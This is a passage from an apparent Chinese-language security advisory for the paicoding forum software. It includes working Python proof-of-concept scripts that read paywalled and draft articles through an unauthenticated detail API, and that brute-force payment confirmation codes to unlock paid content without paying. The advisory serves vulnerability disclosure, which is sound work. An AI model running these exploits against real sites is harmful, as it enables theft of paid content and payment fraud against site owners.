detail(@PathVariable(name = "articleId") Long articleId) throws IOException {
ArticleDetailVo vo = new ArticleDetailVo();
// 文章相关信息
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 返回给前端页面时，转换为html格式
articleDTO.setContent(MarkdownConverter.markdownToHtml(articleDTO.getContent()));
vo.setArticle(articleDTO);
```
页面渲染路径才做截断，相关代码如下：
```java
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/view/ArticleViewController.java:247-249 commit 6b85f5c327
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 根据文章类型，来自动处理文章内容
String content = articleReadViewServiceExtend.formatArticleReadType(articleDTO);
```
`formatArticleReadType` 会按 `readType` 截断正文，但详情接口没有经过它。另外 `ArticleDao.queryArticleDetail` 只对审核中的文章做限制，草稿状态不在限制范围内，相关代码如下：
```java
// paicoding-service/src/main/java/com/github/paicoding/forum/service/article/repository/dao/ArticleDao.java:71-85 commit 6b85f5c327
ArticleDO article = baseMapper.selectById(articleId);
if (article == null || Objects.equals(article.getDeleted(), YesOrNoEnum.YES.getCode())) {
return null;
}
// 查询文章正文
ArticleDTO dto = ArticleConverter.toDto(article);
if (showReviewContent(article)) {
ArticleDetailDO detail = findLatestDetail(articleId);
dto.setContent(detail.getContent());
} else {
dto.setContent("### 文章审核中，请稍后再看");
}
```
因此草稿、付费文章、会员文章的正文都从这个接口原样返回。文章短地址入口 `ArticleSlugViewController` 按 id 渲染详情，草稿因此还能通过短地址页面读到。
### 复现环境搭建
同第 1 节。
### 复现过程
先用管理员创建一篇付费文章与一篇草稿，再用匿名会话读取。脚本如下：
```python
import httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYWALL_SECRET_9Z'
DRAFT = 'DRAFT_SECRET_7Q'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
slug1 = 'paidleak%d' % int(time.time())
paid = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-leak-demo', 'urlSlug': slug1,
'content': '' + 'A' * 600 + SECRET + '
', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 9, 'actionType': 'post', 'tagIds': [1],
'summary': 'paid'}).json()['result']['articleId']
slug2 = 'draftleak%d' % int(time.time())
draft = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'draft-leak-demo', 'urlSlug': slug2,
'content': '' + 'B' * 600 + DRAFT + '
', 'categoryId': 1, 'readType': 0,
'actionType': 'save', 'tagIds': [1], 'summary': 'draft'}).json()['result']['articleId']
print('[victim] paid article id=%s slug=%s' % (paid, slug1))
print('[victim] draft article id=%s slug=%s' % (draft, slug2))
anon = httpx.Client(base_url=BASE, timeout=20)
page = anon.get('/' + slug1).text
print('[anonymous] GET /%s page contains secret: %s' % (slug1, SECRET in page))
body = anon.get('/article/api/data/detail/%s' % paid).json()['result']['article']['content']
print('[anonymous] REST detail tail: %r' % body[-80:])
print('[anonymous] REST detail contains secret: %s' % (SECRET in body))
page = anon.get('/' + slug2).text
print('[anonymous] GET /%s page contains draft secret: %s' % (slug2, DRAFT in page))
body = anon.get('/article/api/data/detail/%s' % draft).json()['result']['article']['content']
print('[anonymous] REST detail contains draft secret: %s' % (DRAFT in body))
```
输出如下：
```
[victim] paid article id=2631610710155265 slug=paidleak1794451813
[victim] draft article id=2631610710155266 slug=draftleak1794451814
[anonymous] GET /paidleak1794451813 page contains secret: False
[anonymous] REST detail tail: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAYWALL_SECRET_9Z\n'
[anonymous] REST detail contains secret: True
[anonymous] GET /draftleak1794451814 page contains draft secret: True
[anonymous] REST detail contains draft secret: True
```
而正常用户无法读出付费文章的 `PAYWALL_SECRET_9Z` 部分：
## 7. 收款码确认值可枚举
简要描述：攻击者对自己的支付记录枚举确认值，即可把记录标记为支付成功，无需付款就能解锁付费文章。
影响版本：1.0.3
漏洞引入：[paicoding commit e491dfdf](https://github.com/itwanger/paicoding/commit/e491dfdff57b6ab8c5ca7488faefdd8cd20f6206)
前置条件：攻击者有普通权限账号，目标文章使用个人收款码。
### 漏洞成因
确认值由“固定前缀 + 全局递增计数 + 支付记录 id”拼成，相关代码如下：
```java
// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/id/IdUtil.java:54-61 commit 6b85f5c327
public static String genPayCode(ThirdPayWayEnum payWay, Long id) {
long now = System.currentTimeMillis();
if (DateUtil.skipDay(lastTime, now)) {
lastTime = now;
INCR.set((int) (Math.random() * 500));
}
return payWay.getPrefix() + String.format("%06d", INCR.addAndGet(1)) + "-" + id;
}
```
`INCR` 是进程内的计数器，每天从一个 0 到 499 的随机数开始，因此计数部分只有 2000 左右的取值。支付记录 id 在 `toPay` 的响应中返回给付款方。
回调接口不要求登录，把请求参数交给支付服务，相关代码如下：
```java
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticlePayRestController.java:79-90 commit 6b85f5c327
@RequestMapping(path = "callback")
public ResponseEntity> callback(HttpServletRequest request) {
return (ResponseEntity>) payServiceFactory.getPayService(ThirdPayWayEnum.EMAIL)
.payCallback(request, new Function() {
```
支付服务把 `verifyCode`、`payId`、`succeed` 三个参数原样取出：
```java
// paicoding-service/src/main/java/com/github/paicoding/forum/service/pay/service/integration/email/EmailPayIntegration.java:58-62 commit 6b85f5c327
public PayCallbackBo payCallback(HttpServletRequest request) {
String outTradeNo = request.getParameter("verifyCode");
Long payId = Long.parseLong(request.getParameter("payId"));
PayStatusEnum payStatus = Objects.equals("true", request.getParameter("succeed")) ? PayStatusEnum.SUCCEED : PayStatusEnum.FAIL;
```
`updatePayStatus` 只比对记录中的 `verifyCode`，不校验调用方身份，因此枚举出计数即可把记录置为成功。
### 复现环境搭建
同第 1 节。
### 复现过程
脚本如下：
```python
import concurrent.futures, httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYBYPASS_SECRET_77'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
'payCode': {'email': 'admin@paicoding.example'}})
slug = 'paidemail%d' % int(time.time())
r = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-email-demo', 'urlSlug': slug,
'content': '' + 'C' * 600 + SECRET + '
', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'p'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s slug=%s payWay=email' % (aid, slug))
att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'payleech', 'password': 'Pay@12345',
'starNumber': '01040', 'displayName': 'payleech'})
att.post('/login/username', data={'username': 'payleech', 'password': 'Pay@12345'})
pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
pay_id = pay['payId']
print('[attacker] toPay -> payId=%s payStatus=%s payWay=%s' % (pay_id, pay['payStatus'], pay['payWay']))
def probe(n):
code = 'EM%06d-%s' % (n, pay_id)
rr = httpx.get(BASE + '/article/api/pay/callback',
params={'verifyCode': code, 'payId': pay_id, 'succeed': 'true'}, timeout=5)
if rr.status_code == 200 and rr.json().get('result') is True:
return code
return None
found = None
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as ex:
for res in ex.map(probe, range(0, 2000)):
if res:
found = res
break
print('[attacker] matched verifyCode=%s' % found)
anon = httpx.Client(base_url=BASE, timeout=20)
print('[anonymous] page contains secret before: %s' % (SECRET in anon.get('/' + slug).text))
print('[attacker] page contains secret now: %s' % (SECRET in att.get('/' + slug).text))
```
输出如下：
```
[victim] paid article id=2631610238296065 slug=paidemail1794451364 payWay=email
[attacker] toPay -> payId=2631610238296066 payStatus=0 payWay=email
[attacker] matched verifyCode=EM000012-2631610238296066
[anonymous] page contains secret before: False
[attacker] page contains secret now: True
```